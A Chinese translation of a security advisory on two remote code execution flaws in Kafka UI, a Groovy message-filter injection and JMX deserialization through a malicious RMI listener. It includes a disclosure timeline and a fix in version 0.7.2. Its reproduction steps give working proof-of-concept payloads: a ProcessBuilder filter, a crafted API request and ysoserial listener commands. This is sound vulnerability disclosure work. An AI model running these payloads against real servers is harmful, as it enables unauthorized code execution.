白帽故事 · 2024年6月26日 0

Apache Kafka UI 远程代码执行漏洞:CVE-2023-52251、CVE-2024-32030

漏洞披露时间线

  • 2023-11-29: 报告发送给 maintainers.kafka-ui@provectus.com
  • 2024-01-02:发送后续邮件
  • 2024-01-23: 未收到回复,https://github.com/provectus/kafka-ui/ 存储库中已创建私有安全问题
  • 2024-02-19: 未收到回复,发送了一封额外后续电子邮件,其中包含有关接近 90 天披露截止日期的通知
  • 2024-02-29: 发送给 info@provectus.com 另一封电子邮件,仍未收到任何回复
  • 2024-02-29:维护者回应,他们会尽快修复漏洞
  • 2024-04-02:后续邮件已发送
  • 2024-04-08:维护者回应,他们将于 4 月中旬发布修复程序
  • 2024-04-10:此修复随 Kafka UI 0.7.2 版本一起发布

漏洞概述

Kafka UI 受到两个远程代码执行漏洞的影响,消息过滤组件中的第一个漏洞可导致执行任意未沙盒的 groovy 脚本。

第二个漏洞可以通过滥用 Kafka UI 连接到恶意 JMX 服务器来利用,从而通过不安全的反序列化导致 RCE,这尤其危险,因为 Kafka UI 默认情况下未启用身份验证。

如果为 Kafka UI 实例启用了身份验证,则攻击者需要拥有有效的帐户。

测试版本

v0.7.1:https://github.com/provectus/kafka-ui/releases/tag/v0.7.1

漏洞详情

漏洞1:在消息过滤中通过 Groovy 脚本执行的 RCE ( GHSL-2023-229/CVE-2023-52251 )

Kafka UI 允许根据用户提供的过滤器显示通过 Kafka 集群的消息,服务器上支持的筛选器类型之一是 GROOVY_SCRIPT 。通过使用此筛选器,潜在的恶意人员不仅可以查看消息的内容和属性,还可以在服务器上执行任意代码,此过滤器绝不会进行沙盒化。

易受攻击的方法代码:

static Predicate<TopicMessageDTO> groovyScriptFilter(String script) {
  var engine = getGroovyEngine();
  var compiledScript = compileScript(engine, script);
  var jsonSlurper = new JsonSlurper();
  return new Predicate<TopicMessageDTO>() {
    @SneakyThrows
    @Override
    public boolean test(TopicMessageDTO msg) {
      var bindings = engine.createBindings();
      bindings.put("partition", msg.getPartition());
      ...
      var result = compiledScript.eval(bindings);

复现步骤

  1. 使用默认设置运行 Kafka UI,并将其连接到任何 Kafka 集群
    2.在 Kafka UI 中,导航到 cluster->Topics->Messages,并使用以下内容创建新筛选器:

new ProcessBuilder("touch","/tmp/pwnd.txt").start()

file

通过向应用程序发送以下 GET 请求,可以执行相同的操作:

GET /api/clusters/local/topics/topic/messages?q=new+ProcessBuilder%28%22touch%22%2C%22%2Ftmp%2Fpwnd.txt%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1
Host: 127.0.0.1:8091
  1. 如果当前主题有任何消息,将立即在服务器上执行脚本。或者可以使用 Kafka UI 界面向代理发送新消息以触发脚本执行

  2. 执行后,将在服务器上创建一个 /tmp/pwnd.txt 文件

漏洞2:JMX 指标集合中通过 JNDI 解析的 RCE ( GHSL-2023-230/CVE-2024-32030 )

Kafka UI API 允许用户通过指定网络地址和端口来连接到不同的 Kafka 代理。

作为一项单独的功能,它还提供了通过连接到 Kafka 代理的 JMX 端口来监视其性能的功能。

JMX 基于 RMI 协议,因此它本身容易受到反序列化攻击,潜在的攻击者可以通过将 Kafka UI 后端连接到恶意代理来利用此功能。

攻击者可以创建一个 RMI 监听器,该监听器为任何 RMI 调用返回恶意序列化对象,而不是设置合法的 JMX 端口。

在最坏的情况下,它可能会导致远程代码(RCE)执行,因为 Kafka UI 的类路径中具有所需的攻击链。

先决条件:此漏洞会影响以下情况之一的部署:

  1. dynamic.config.enabled 属性在“设置”中设置。默认情况下不启用它,但建议在 Kafka UI 的许多教程中启用它,包括它自己的 README.md

  2. 或者攻击者有权访问连接到 Kafka UI 的 Kafka 集群,在这种情况下,攻击者可以利用此漏洞扩展其访问权限并在 Kafka UI 上执行代码

复现步骤

  1. 使用默认设置运行 Kafka UI,并设置 dynamic.config.enabled=true

  2. 使用明文监听器启动任意 Kafka 代理,无需身份验证(本地或在 docker 中),暂时不要将其连接到 Kafka UI

  3. 设置一个恶意的 JMX 监听器,使用 ysoserial 工具生成一个带有Payload的序列化对象,用于远程代码执行。对于这个演示,在github存储库中准备了一个特殊的 ysoserial 分支: https://github.com/artsploit/ysoserial/tree/scala1

你可以使用以下命令克隆并运行它:

git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

该工具将在端口 1718 上监听传入的连接。

  1. 在 Kafka UI 中,导航到 Dashboard->Configure New Cluster,然后将 Kafka 代理的地址与 ysoserial 的 JMX 端口 1718 放在一起。确保在 localhost 或同一主机上运行 kafka broker 和 ysoserial

file

  1. 添加此集群后,可以在 ysoserial 工具中看到传入连接,它将使用恶意Payload响应 Kafka UI

file

该payload将在 Kafka UI 端反序列化,它不会直接触发 RCE,但会导致将系统属性 org.apache.commons.collections.enableUnsafeSerialization 设置为 true 。你可能会注意到 Kafka UI 日志中的一些错误,这是意料之中的:

file

  1. 接下来,要实现 RCE,需要使用以下命令重新运行 ysoserial:
    java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"

    稍等片刻,Kafka UI 将重新连接到此 JMX 端口以再次获取指标,这会触发另一个对象的反序列化。

只要 org.apache.commons.collections.enableUnsafeSerialization 之前被另一个Payload启用,它将导致在 Kafka UI java 进程中执行 touch /tmp/pwnd2.txt 命令。

同样,Kafka UI 日志输出将充满错误提示,因为在反序列化发生并执行命令后,将引发异常:

file

如果好奇反序列化如何触发 System.setProperty 和命令执行,可随时查看相应gadget链的源代码: Scala1.java 和 CommonsCollections7.java

此外,你也可以在 StreamRemoteCall.java#L271 处设置断点,以查看对象是如何反序列化的。

以上内容由骨哥翻译并整理。

原文:https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/